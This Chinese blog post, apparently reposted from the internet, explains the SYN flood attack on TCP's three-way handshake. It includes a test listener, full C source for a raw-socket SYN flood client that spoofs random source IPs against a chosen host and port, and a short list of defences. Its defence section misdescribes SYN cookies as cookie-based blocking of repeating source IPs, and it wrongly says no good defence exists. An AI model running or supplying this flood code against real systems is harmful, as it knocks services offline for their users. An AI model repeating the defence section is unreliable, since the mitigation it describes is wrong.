syn攻击

来源:互联网 发布:淘宝香港地址怎么填写 编辑:程序博客网 时间:2024/05/16 07:24

1、syn攻击原理

在TCP连接的三次握手中第二次握手时,服务器端发送SYN+ACK报文之后,若在规定的超时间之内未收到客户端响应的ACK报文,则服务器端启用重传机制,向客户端重传SYN+ACK报文,直到收到客户端的响应报文或达到服务器端设置的重传次数为止。syn攻击就是利用这种机制,恶意攻击者向被攻击的服务器端在短时间内发送大量仅含有SYN标志的TCP半连接请求报文。一方面,大量的请求报文会使服务器端半连接队列迅速溢出,无法响应或延迟响应正常合法的连接请求,并耗费大量系统资源(如带宽、CPU 及主存储器等);另一方面,因发送的数据包仅含有SYN标记,服务器端永远收不到客户端的响应报文,这将导致服务器端将不断重传SYN+ACK 报文,将耗费大量系统资源及占用大量的网络带宽。

2、syn攻击实现

服务端监听代码:

#include <stdio.h>  #include <stdlib.h>  #include <string.h>                         #include <unistd.h>  #include <sys/socket.h>  #include <netinet/in.h>  #include <arpa/inet.h>                    int main(int argc, char *argv[])  {      unsigned short nPort   = 12345;int    nSockfd = -1;    int    nRet    = 0;do{nSockfd = socket(AF_INET, SOCK_STREAM, 0);     if(nSockfd < 0)  {  perror("socket");  break;  }        struct sockaddr_in my_addr;  bzero(&my_addr, sizeof(my_addr));          my_addr.sin_family = AF_INET;  my_addr.sin_port   = htons(nPort);  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);  nRet = bind(nSockfd, (struct sockaddr*)&my_addr, sizeof(my_addr));  if( nRet != 0)  {  perror("bind");        break;  }  nRet = listen(nSockfd, 5);if(nRet != 0)  {  perror("listen");  break;  }     printf("start accept on nPort[%d]...\n",nPort);        while(1)  {     struct sockaddr_in client_addr;          char   szClientIp[INET_ADDRSTRLEN] = {0};socklen_t cliaddr_len = sizeof(client_addr);      int connfd;  connfd = accept(nSockfd, (struct sockaddr*)&client_addr, &cliaddr_len);         if(connfd < 0)  {  perror("accept");continue;  }  inet_ntop(AF_INET, &client_addr.sin_addr, szClientIp, INET_ADDRSTRLEN);  printf("client ip=%s,port=%d\n", szClientIp,ntohs(client_addr.sin_port));  char recv_buf[512] = {0};  while( recv(connfd, recv_buf, sizeof(recv_buf), 0) > 0 )  {  printf("recv data:%s\n",recv_buf);  break;  }  close(connfd);  }  }while(0);if(-1 != nSockfd){    close(nSockfd);nSockfd = -1;}    return 0;  }  

客户端攻击代码

#include<stdio.h>#include<sys/socket.h>#include<netinet/in.h>#include<netdb.h>#include<errno.h> #include <netinet/ip.h>#include <netinet/tcp.h>unsigned short checksum(unsigned short* data,unsigned short nLength){int nLeft = nLength;int nSum= 0;unsigned short* w= data;unsigned short nValue= 0;unsigned char  answer   = 0;while(nLeft > 1){nSum  += *w++;nLeft -= 2;} if(nLeft == 1){answer = *(unsigned char*)w;nSum  += answer;}nSum = (nSum>>16) + (nSum & 0xffff);nSum += (nSum>>16);nValue = ~nSum;return (nValue);}void send_synflood(int nSockfd,struct sockaddr_in* addr,int nNum){unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] = {0};    struct ip     *ip  = NULL;    struct tcphdr *tcp = NULL;int  i        = 0;int  nRet     = 0;char szClientIp[INET_ADDRSTRLEN] = {0};    int  len = sizeof(buffer);    memset( buffer, 0x0, sizeof(buffer));    ip = (struct ip *)buffer;    tcp = (struct tcphdr *)(buffer + sizeof(struct ip));           tcp->dest = addr->sin_port;    tcp->seq = (int)random();     tcp->ack_seq = 0;    tcp->doff = 5;    tcp->syn = 1;        ip->ip_v = IPVERSION;    ip->ip_hl = sizeof(struct ip)>>2;     ip->ip_tos = 0;    ip->ip_len = htons(len);    ip->ip_id = (unsigned short)random();    ip->ip_off = 0;     ip->ip_p = IPPROTO_TCP;    ip->ip_dst = addr->sin_addr;    while(++i <= nNum)    {        ip->ip_ttl = 0;        ip->ip_sum = htons(sizeof(struct tcphdr));        ip->ip_src.s_addr = random();                tcp->check = 0;tcp->source = htons((unsigned short)random());        tcp->check = checksum((u_int16_t *)buffer + 4, sizeof(buffer) - 8);        ip->ip_ttl = MAXTTL;        nRet = sendto(nSockfd, buffer, len, 0, (struct sockaddr *)(addr), sizeof(struct sockaddr_in));if(nRet != len){printf("sendto[%s]:[%d] error[%d]",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port),errno);}else{memset(szClientIp,0,sizeof(szClientIp));inet_ntop(AF_INET, &(addr->sin_addr),szClientIp, INET_ADDRSTRLEN); printf("sendto[%s]:[%d] successful.\n",szClientIp,ntohs(addr->sin_port));}    }}int main(int argc,char *argv[]){int    nOn  = 1;int    nSockfd = -1;struct sockaddr_in addr = {0};char   szClientIp[INET_ADDRSTRLEN] = {0};do{if(argc != 4){printf("argc error.\n");break;}bzero(&addr,sizeof(addr));addr.sin_family=AF_INET;addr.sin_port=htons(atoi(argv[2]));inet_pton(AF_INET, argv[1], &addr.sin_addr);nSockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(nSockfd<0){printf("socket error %d.\n",errno);break;}setuid(getpid());setsockopt(nSockfd,IPPROTO_IP,IP_HDRINCL,&nOn,sizeof(nOn));send_synflood(nSockfd,&addr,atoi(argv[3]));}while(0);if(-1 != nSockfd){close(nSockfd);nSockfd = -1;}return 0;}

攻击之后,服务端的网络链接出现了多个syn_recv状态的链接,如下图:


抓包截图如下:


在查看服务器TCP连接中,可以通过下面这个命令来统计当前连接数:


3、sys攻击防御

(1)缩短SYN Timeout时间

由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,如果我们将服务器半连接数降低到合理的一个值,就可以成倍地降低服务器的负荷。半连接数的计算公式如下:SYN半连接数 = SYN攻击的频度 × SYN Timeout 由于SYN攻击的频度这个量并非我们能够控制的,所以我们可以通过减小SYN Timeout来降低半连接数。当SYN Timeout时间被减短,系统的SYN-ACK重试次数将大大减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低。但是,我们还需要注意不要将SYN Timeout的值设置得过低,因为会影响到客户端正常访问,同时这种方法也只能降低syn攻击的影响,如果攻击者持续不断的发送syn,那么即使缩短syn timeout时间,服务器仍然会疲于接收syn攻击而没法正常提供服务。

(2)设置SYN Cookie 

给每一个请求分配一个cookie,如果短时间内连续收到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址发来的包一概丢弃,但是这依赖对方使用固定真是的IP地址,如果对方更改源地址则此方法没有效果。


其实对于syn flood攻击目前尚没有很好的检测和防御的方法,只能使用上诉方法或者防火墙设置降低其影响。